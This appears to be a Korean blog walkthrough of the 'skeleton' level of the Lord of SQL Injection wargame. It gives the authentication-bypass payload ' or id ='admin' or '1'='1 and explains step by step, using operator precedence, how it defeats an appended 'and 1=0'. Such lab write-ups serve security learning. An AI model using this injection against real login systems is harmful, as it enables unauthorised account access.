문제 정보
문제 이름 : skeleton
문제 설명
이 문제는 쿼리 뒤에 and 1=0이 추가가 되었다.
딱보니 연산자 우선순위 문제 인것같다.
php에서 and연산이 or연산보다 먼저 수행된다.
pw에 아래의 값을 넣으면 문제를 해결할 수 있다.
' or id ='admin' or '1'='1
이 값을 넣으면 select id from prob_skeleton where id='guest' and pw='' or id ='admin' or '1'='1' and 1=0 이와 같이 된다.
1. select id from prob_skeleton where id='guest' and pw='' or id ='admin' or '1'='1' and 1=0
빨간색 부분이 false가 된다.
2. select id from prob_skeleton where false or id ='admin' or '1'='1' and 1=0
빨간색 부분이 false가 된다.
3. select id from prob_skeleton where false or id ='admin' or false
앞에 false와 id = 'admin'과 or 비교를 하는데 id가 admin인 계정이 존재하므로 True가 된다.4. select id from prob_skeleton where ture or false
true or false는 true이다.
5. select id from prob_skeleton where ture
위와 같이 true 이므로 id='admin'인 ture값을 반환한다.
따라서 문제를 해결할 수 있다.
payload는 아래와 같다.
?pw=' or id ='admin' or '1'='1
'WEB hacking > LORD OF SQL INJECTION' 카테고리의 다른 글
[Lord of SQL Injection] GOLEM 문제 풀이 (0) | 2023.04.18 |
---|---|
[Lord of SQL Injection] vampire 문제 풀이 (0) | 2023.04.14 |
[Lord of SQL Injection] troll 문제 풀이 (0) | 2023.04.12 |
[Lord of SQL Injection] orge 문제 풀이 (0) | 2023.04.10 |
[Lord of SQL Injection] darkelf 문제 풀이 (0) | 2023.04.08 |